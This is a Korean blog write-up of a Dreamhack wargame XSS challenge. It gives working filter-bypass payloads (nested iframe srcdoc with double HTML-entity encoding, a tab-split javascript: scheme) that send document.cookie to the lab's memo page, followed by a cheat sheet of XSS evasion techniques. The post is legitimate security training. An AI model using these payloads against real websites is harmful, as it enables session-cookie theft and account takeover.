security/웹해킹

[Dreamhack Wargame] XSS Filtering Bypass Advanced + HTML 엔티티

민사민서 2023. 7. 2. 15:38
def xss_filter(text):
    _filter = ["script", "on", "javascript"]
    for f in _filter:
        if f in text.lower():
            return "filtered!!!"

    advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
    for f in advanced_filter:
        if f in text.lower():
            return "filtered!!!"

    return text

- 주요 단어들을 필터링 중이다. 치환 및 삭제가 아니여서 더 까다롭다

 

'on', 'script', 'document', 'location', 'window' 등이 막혀있으므로

- 이벤트핸들러 방식은 사용하지 못한다

- 'location.href'를 사용하지 않고 src 속성 등을 이용해 바로 GET 요청을 보내려 했지만 document.cookie는 JS 문법으로 HTML 코드 상 사용 불가능하다

ex. <iframe srcdoc="<img src='/memo?memo='+parent['do'+'cument'].cookie>"> 시도했었음

- 따라서 location, document 필터를 우회하면서 location.href = 'memo?memo='+document. cookie 를 실행시켜야함

 

1. iframe srcdoc 사용

- srcdoc 속성을 통해 iframe 요소에 보일 HTML element 정의

- 하위 HTML 요소에서 parent['locatio'+'n'].href / parent['docu'+'ment'].cookie 등을 사용함으로써 필터 우회 가능성 확인, 실제로 테스트도 해봄

<iframe srcdoc="<img src=1 &#x6f;nerror=parent['lo'+'cation'].href='https://naver.com'>"></iframe>

// 실제로 naver.com 창으로 리다이렉션됨 - location 우회 가능

<iframe srcdoc="<iframe srcdoc='<&amp;#x73;cript>&amp;#x61;lert(parent[`do`+`cument`].cookie)</script>'></iframe>"></iframe>

// document.cookie 나 parent['document'].cookie나 동일함을 확인 - document 우회 가능

 

하지만 javascript 코드 실행시키기 위한 onerror, script 등의 단어들이 필터링되어있다...

HTML 인코딩 (a → &#x61;) 우회하려 해도 &# 필터링 걸림

 

- 드림핵 문제 댓글들 보다가 iframe srcdoc 중복선언 가능함을 확인

=> srcdoc 두 번 타고들어간다면 해석 과정에서 디코딩 두 번. HTML 이중 인코딩하면 &# 필터링 우회 가능하다!

=>  s → &#x73; → &amp;#x73;   (HTML 엔티티)

<iframe srcdoc="<iframe srcdoc='<&amp;#x73;cript>locati&amp;#x6f;n.href=`memo?memo=`+&amp;#x64;ocument.cookie</&amp;#x73;cript>'></iframe>"></iframe>

// 문자열 3개 필요해서(srcdoc, srcdoc, href 주소) 백틱까지 사용했다

// script, location, on, document 필터링은 HTML 이중 인코딩으로 우회했다

 

◈ 주의할 점: URL 인코딩 과정에서 space는 %20이 아닌 +로 바뀜

폼에 그냥 입력해서 보냈는데 안되길래 버프수트로 잡아 request body를 확이해보니 아래와 같이 URL 인코딩되어 가더라

params = %3Ciframe+srcdoc%3D%22%3Ciframe+srcdoc%3D%27%3C%26amp%3B%23x73%3Bcript%3Elocati%26amp%3B%23x6f%3Bn.href%3D%60memo%3Fmemo%3D%60%2B%26amp%3B%23x64%3Bocument.cookie%3C%2F%26amp%3B%23x73%3Bcript%3E%27%3E%3C%2Fiframe%3E%22%3E%3C%2Fiframe%3E

디코딩하면

<iframe+srcdoc="<iframe+srcdoc='<&amp;#x73;cript>locati&amp;#x6f;n.href=`memo?memo=`+&amp;#x64;ocument.cookie</&amp;#x73;cript>'></iframe>"></iframe>

그래서 burp suite로 POST 요청 잡은 후 URL encoding된 값을 직접 넣어주었다 (+ → %20)

 

2. URL의 javascript 스키마 이용

브라우저들이 URL을 사용할 때 거치는 과정 중 하나인 정규화 (Normalization)을 이용해 우회
= \x01, \x04, \t와 같은 특수 문자들이 제거

<iframe src="javascr	ipt: locatio	n.href='memo?memo='+do	cument.cookie">

이런 식으로 키워드 우회하면 된다

얘는 그냥 폼에 입력 후 전송하든, 버프수트로 잡아서 URL encoding된 값을 넣어주든 둘 다 되더라

 

HTML 엔티티

HTML 엔티티는 HTML에서 특정 캐릭터들이 예약되어있기 때문에 표기의 혼란을 막기 위해서 사용하는 것

흔히 공백을 &nbsp; 로 쓰거나 <,>를 &lt; &gt; 로 쓰는 것이 대표적인 예시

  &#160; &nbsp; space
< &#60; &lt; less than
> &#62; &gt; greater than
& &#38; &amp; ampersand
' &#39; &apos; (IE에서 안됨) apostrophe
" &#34; &quot; quotation mark
&#8216; &lsquo; left single quotation mark
&#8217; &rsquo; right single quotation mark
&#8220; &ldquo; left double quotation mark
&#8221; &rdquo; right double quotation mark

 

XSS Filtering Bypass 강좌 기법 정리

이벤트 핸들러 속성 이용한 xss

<img src="https://dreamhack.io/valid.jpg" onload="alert(document.domain)">
<img src="about:invalid" onerror="alert(document.domain)">
<input type="text" id="inputID" onfocus="alert(document.domain)" autofocus>


단순히 치환 혹은 제거하는 방식의 필터링 관습 우회

(x => x.replace(/onerror/g, ''))('<img oneonerrorrror=promonerrorpt(1)>')
--> <img onerror=prompt(1) />


javascript: 스키마는 URL 로드 시 자바스크립트 코드를 실행할 수 있도록 함

- HTML 마크업에서 사용될 수 있는 URL들은 활성 콘텐츠를 포함할 수 있음

- URL을 속성 값으로 받는 a 태그나 iframe 태그 등에 사용할 수 있음

<a href="javascript:alert(document.domain)">Click me!</a>
<iframe src="javascript:alert(document.domain)">


javascript: 스키마 필터링된 경우
- 브라우저들이 URL을 사용할 때 거치는 과정 중 하나인 정규화 (Normalization)을 이용해 우회
\x01, \x04, \t와 같은 특수 문자들이 제거되고, 스키마의 대소문자가 통일

<a href="\1\4jAVasC\triPT:alert(document.domain)">Click me!</a>
<iframe src="\1\4jAVasC\triPT:alert(document.domain)">

 

javascript: 스키마나 이 외의 XSS 키워드를 인코딩하여 필터링을 우회
- HTML 태그의 속성 내에서는 HTML Entity Encoding을 사용할 수 있음

<a href="\1&#4;J&#97;v&#x61;sCr\tip&tab;&colon;alert(document.domain);">Click me!</a>
<iframe src="\1&#4;J&#97;v&#x61;sCr\tip&tab;&colon;alert(document.domain);">


정규표현식이 부실할때?

스크립트 태그의 src 속성을 이용한 검사 우회

<script src="data:alert(document.cookie)"></script>

 

줄바꿈 문자를 이용한 검사 우회

<img src=""\nonerror="alert(document.cookie)"/>

 

태그 필터링 우회

<video><source onerror="alert(document.domain)"/></video>
<body onload="alert(document.domain)"/>
<iframe src="javascript:alert(parent.document.domain)">
<iframe srcdoc="<&#x69;mg src=1 &#x6f;nerror=alert(parent.document.domain)>">

 


Unicode escape sequence를 통한 우회

var foo = "\u0063ookie";  // cookie
var bar = "cooki\x65";  // cookie
\u0061lert(document.cookie);  // alert(document.cookie)


XSS 공격 구문의 자바스크립트 키워드를 필터링한 경우
alert, XMLHttpRequest 등 문서 최상위 객체 및 함수
=> window['al'+'ert'], window['XMLHtt'+'pRequest'] 등 이름 끊어서 쓰기
window
=> self, this
eval(code)
=> Function(code)()
극단적인 사례로 자바스크립트의 언어적 특성을 활용하면 6개의 문자([, ], (, ), !, +)만으로 모든 동작을 수행할 수 있습니다. => JSFuck

문자열을 사용할 때 필요한 따옴표 (", ')가 필터링되어 있다면
= 템플릿 리터럴은 백틱 (`)을 이용해 선언할 수 있으며 내장된 ${} 표현식을 이용해 다른 변수나 식을 사용할 수 있음

var baz = `${foo},
${bar} ${1+1}.`; // "Hello,\nWorld 2."


따옴표와 백틱을 모두 사용하지 못할 때
RegExp 객체(/ ~~~ /)를 이용한 모습

var foo = /Hello World!/.source;  // "Hello World!"
var bar = /test !/ + [];  // "/test !/"

 

fromCharCode 함수를 사용한 모습

var foo = String.fromCharCode(72, 101, 108, 108, 111);  // "Hello"

 

내장 함수 및 객체 문자를 이용한 모습
= history.toString() 은 "[object History]" 문자열을 반환하고
= URL.toString()은 "function URL() { [native code] }" 문자열을 반환

var baz = history.toString()[8] + // "H"
(history+[])[9] + // "i"
(URL+0)[12] + // "("
(URL+0)[13]; // ")" ==> "Hi()"

 

 

함수 호출 - 백틱 이용

alert`1`; // Tagged Templates



소괄호와 백틱 문자가 모두 필터링 되어있는 경우 함수 호출 어떻게?
javascript 스키마를 이용한 우회

location="javascript:alert\x28document.domain\x29;";
location.href="javascript:alert\u0028document.domain\u0029;";
location['href']="javascript:alert\050document.domain\051;";


document.body.innerHTML 이용해 문서 내에 새로운 HTML 코드를 추가
= innerHTML로 HTML 코드를 실행할 때에는 보안 상 <script> 태그를 삽입해도 실행되지 않음
= 이벤트 핸들러 이용

document.body.innerHTML+="<img src=x: onerror=alert&#40;1&#41;>";
document.body.innerHTML+="<body src=x: onload=alert&#40;1&#41;>";


더블 디코딩 취약점
웹 방화벽의 검증 이후 다시 디코딩할 경우, 공격자는 더블 URL 인코딩으로 웹 방화벽 검증을 우회